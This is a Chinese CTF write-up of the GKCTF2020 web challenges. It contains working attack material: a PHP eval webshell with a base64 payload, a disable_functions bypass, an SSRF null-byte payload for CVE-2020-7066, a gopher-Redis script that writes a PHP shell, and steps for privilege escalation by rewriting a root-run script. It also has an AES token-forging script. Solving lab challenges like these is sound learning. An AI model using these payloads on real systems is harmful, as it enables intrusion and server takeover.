找了个时间复现了 GKCTF 的 WEB 题目
[GKCTF2020]CheckIN 代码执行 
进去给到源码,给了我们一个小马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php  highlight_file (__FILE__ );class  ClassName         public  $code  = null ;         public  $decode  = null ;         function  __construct (          {                $this ->code = @$this ->x ()['Ginkgo' ];                 $this ->decode = @base64_decode ( $this ->code );                 @Eval ($this ->decode);         }         public  function  x (          {                return  $_REQUEST ;         } } new  ClassName ();
先上一个小马
1 2 php > echo  base64_encode ('eval($_REQUEST[kk]);' ); ZXZhbCgkX1JFUVVFU1Rba2tdKTs= 
看看 phpinfo
1 ?Ginkgo=ZXZhbCgkX1JFUVVFU1Rba2tdKTs%3D&kk=phpinfo(); 
绕 disable_functions
蚁剑连上去,flag 需要 /readflag
可以直接用这个绕  https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php 
上传到 /tmp 目录,直接包含就好
执行命令
1 ?Ginkgo=ZXZhbCgkX1JFUVVFU1Rba2tdKTs%3D&kk=include("/tmp/exploit.php");&cmd=/readflag 
[GKCTF2020]cve版签到 cve-2020-7066 
exp 在这里 https://bugs.php.net/bug.php?id=79329 
直接打就好,访问 127.0.0.1 返回 hint
1 ?url=http://127.0.0.1%00.ctfhub.com 
1 ?url=http://127.0.0.123%00.ctfhub.com 
[GKCTF2020]老八小超市儿 弱口令+后台geishell+提权 
参考 http://www.nctry.com/1660.html  后台getshell
我这里扔了一个冰蝎的马,连上读 /flag
读了个寂寞,提示日期很重要
上传个 LinEnum  读一下信息
在进程信息那里我们看到了 root 在执行一个 /auto.sh
看一下文件,这也是解释了进程为什么一直有 sleep 60 这个操作
看一下 py 文件
这很显然就是我们的变量劫持,看一下权限
所以我们可以通过改写这个 py 文件提权
其实,这个 /auto.sh 也是可写的,我们也可以改这个
我这里就直接改 py 了
等个一分钟收割 flag
[GKCTF2020]EZ三剑客-EzWeb 内网+redis写shell 
进去源码有提示
给到了一个 hosts 的信息
尝试访问 localhost 被 waf
1 /index.php?url=http://127.0.0.1&submit=提交 
那就改成内网地址试试
1 /index.php?url=http://173.235.100.10&submit=提交 
返回了正常页面
这里我们揣测出题人的思路,那应该就是让我扫内网地址,直接 bp,发现了这个比较特殊
1 /index.php?url=http://173.235.100.11&submit=提交 
那就是让我们去扫描端口,继续 bp 扫常用端口,发现 redis 有回显
记住要扫常用服务,不要从1开始扫,不然要很久
 
1 /index.php?url=http://173.235.100.11:6379&submit=提交 
gopher 协议没有 ban,发现可以 redis 随意写 shell
注意编码问题就好
 
这里直接贴上 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import  urllibimport  requests as  rqprotocol="gopher://"  ip="173.19.221.11"  port="6379"  shell="\n\n\n\n<?php system('ls / -al');system('cat /flag'); ?>\n\n\n\n"  filename="index.php"  path="/var/www/html"  passwd=""  cmd=["flushall" ,      "set 1 {}" .format (shell.replace(" " ,"${IFS}" )),      "config set dir {}" .format (path),      "config set dbfilename {}" .format (filename),      "save" ,      "quit"       ] if  passwd:    cmd.insert(0 ,"AUTH {}" .format (passwd)) payload=protocol+ip+":" +port+"/_"  def  redis_format (arr ):    CRLF="\r\n"      redis_arr = arr.split(" " )     cmd=""      cmd+="*" +str (len (redis_arr))     for  x in  redis_arr:         cmd+=CRLF+"$" +str (len ((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " )     cmd+=CRLF     return  cmd if  __name__=="__main__" :    for  x in  cmd:         payload += redis_format(x).replace("\r\n" ,"%250D%250A" ).replace("\n" ,"%250A" ).replace("?" ,"%253f" )     print (payload) 
这里我省了步骤,我是先看了 phpinfo(),发现没有 ban system(),再列一个目录,再看 flag 在哪
 
上传之后回显成功
访问内网机子就能看到
1 /index.php?url=http://173.235.100.11&submit=提交 
[GKCTF2020]EZ三剑客-EzNode nodejs 
上来给了代码和版本,直接代码审计
总体逻辑就是绕过这里的 waf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 app.use ((req, res, next ) =>  {   if  (req.path  === '/eval' ) {     let  delay = 60  * 1000 ;     console .log (delay);     if  (Number .isInteger (parseInt (req.query .delay ))) {       delay = Math .max (delay, parseInt (req.query .delay ));     }     const  t = setTimeout (() =>  next (), delay);          setTimeout (() =>  {       clearTimeout (t);       console .log ('timeout' );       try  {         res.send ('Timeout!' );       } catch  (e) {       }     }, 1000 );   } else  {     next ();   } }); 
就可以直接 eval 了
1 2 3 4 5 6 7 8 9 10 11 app.post ('/eval' , function  (req, res ) {   let  response = '' ;   if  (req.body .e ) {     try  {       response = saferEval (req.body .e );     } catch  (e) {       response = 'Wrong Wrong Wrong!!!!' ;     }   }   res.send (String (response)); }); 
waf 可以用 int 溢出漏洞绕过,所以传入 2147483648 绕过成功
当 delay 大于 2147483647 或小于 1 时,延迟将设置为 1
 
后面就是绕 saferEval 了,这个根据版本去搜一下就好 ,最新版本的一般在 github 的 issues 里找到,可以直接拿来用
https://github.com/commenthol/safer-eval/issues/11 
[GKCTF2020]EZ三剑客-EzTypecho 反序列化 
Typecho反序列化漏洞复现 
原版本在 install.php 那会有一个反序列化
但是出题人在这里加多了一个 if(!isset($_SESSION))
但是后面还有一处,我们直接传入 ?start 触发即可
命令执行无限制,直接读 /flag 就好
[GKCTF2020]Node-Exe 第一次碰到这题目,无从下手,不过还挺有意思的
先看一下程序运行逻辑,打开 admin 登陆进去,然后给你三个 flag,打开 fiddler 抓包发现是发送了一个含有 timestamp 的 json,id 对应的就是 flag 的位置
命令行断点 bpu http://xxx.node3.buuoj.cn 
 
1 {"id":1,"timestamp":1590639747000} 
直接修改 id = 3 会返回
1 {"message":"HaHa Hacker!!!"} 
写脚本伪造 timestamp 也失败
所以后台应该是验证了 token
还是去看看源码吧,把安装程序改成 zip 解压一下,源码在 
1 /app-64/resources/app.asar 
进行反编译
1 2 npm install -g asar asar extract app.asar app 
看一下 buyflag 的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 buyFlag : function (e ) {    var  i = this ;     return  c ()(a.a .mark ((function  t (         var  o;         return  a.a .wrap ((function (t ) {             for  (;;) switch  (t.prev  = t.next ) {             case  0 :                 return  o = {                     id : e,                     timestamp : Date .parse (new  Date )                 },                 t.t0  = i.$http ,                 t.t1  = i.url  + "/buyflag" ,                 t.t2  = o,                 t.next  = 6 ,                 i.makeToken (o);             case  6 :                 t.t3  = t.sent ,                 t.t4  = {                     token : t.t3                  },                 t.t5  = {                     headers : t.t4                  },                 t.t6  = function (e ) {                     i.$Modal .info ({                         title : "购买结果" ,                         content : e.data [0 ].flag                      })                 },                 t.t0 .post .call (t.t0 , t.t1 , t.t2 , t.t5 ).then (t.t6 );             case  11 :             case  "end" :                 return  t.stop ()             }         }), t, i)     })))() } 
看一下 makeToken
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 makeToken : function (e ) {    var  i = this ;     return  c ()(a.a .mark ((function  t (         var  o, r;         return  a.a .wrap ((function (t ) {             for  (;;) switch  (t.prev  = t.next ) {             case  0 :                 return  "31169fedc9a20ecf" ,                 "d96adeefaa0102a9" ,                 o = f ()(n ()(e)),                 t.next  = 5 ,                 i.encrypt ("31169fedc9a20ecf" , "d96adeefaa0102a9" , o);             case  5 :                 return  r = t.sent ,                 t.abrupt ("return" , r);             case  7 :             case  "end" :                 return  t.stop ()             }         }), t, i)     })))() } 
再看一下 encrypt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 encrypt : function (e, i, t ) {    var  o = this ;     return  c ()(a.a .mark ((function  n (         return  a.a .wrap ((function (o ) {             for  (;;) switch  (o.prev  = o.next ) {             case  0 :                 return  o.abrupt ("return" , new  s.a ((function (o ) {                     var  n = p.a .createCipheriv ("aes-128-cbc" , e, i),                     r = n.update (t, "utf8" , "binary" );                     r += n.final ("binary" ),                     o (r = new  Buffer .from (r, "binary" ).toString ("hex" ))                 })));             case  1 :             case  "end" :                 return  o.stop ()             }         }), n, o)     })))() }, 
所以 token 使用了 aes-128-cbc 进行对经过了 o=f()(n()(e)) 处理的 json 进行加密,key 是 31169fedc9a20ecf,iv 是 d96adeefaa0102a9
随便拿一个 token 试验一下
32 位的我们拿 md5 测试一下
可以看到是吻合的,这里贴上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from  Crypto.Cipher import  AESfrom  binascii import  b2a_hex, a2b_heximport  time, json, datetime, hashlibimport  requests as  rqdef  encrypt (raw ):    BS = 16      pad = lambda  s: s + (BS - len (s) % BS) * chr (BS - len (s) % BS)      key = b'31169fedc9a20ecf'      iv = b'd96adeefaa0102a9'      raw = pad(raw).encode()     cryptor = AES.new(key, AES.MODE_CBC, iv)     ciphertext = cryptor.encrypt(raw)     return  b2a_hex(ciphertext).decode() def  get_data_token ():    dtime = datetime.datetime.now()     t = int (time.mktime(dtime.timetuple())) * 1000      data = json.dumps({"id" :"3||1" , "timestamp" :t}).replace(' ' ,'' )     print ("[+] data:%s"  % data)     token = encrypt(hashlib.md5(data.encode()).hexdigest())     print ("[+] token:%s"  % token)     headers = {         "Content-Type" : "application/json;charset=UTF-8" ,         "token" :token     }     return  data, headers if  __name__== "__main__" :    url = "http://1165bc7f-ecfb-45e8-bbc5-533876f73e8d.node3.buuoj.cn/buyflag"      data, headers = get_data_token()     res = rq.post(url, data=data, headers=headers)     print (res.text) 
需要注意的是
使用 json.dumps 要把结果的空格都去掉 
AES 加密使用的 padding 是 pkcs5 
时间戳的获取一定要用 datetime(),不能用直接 time.time()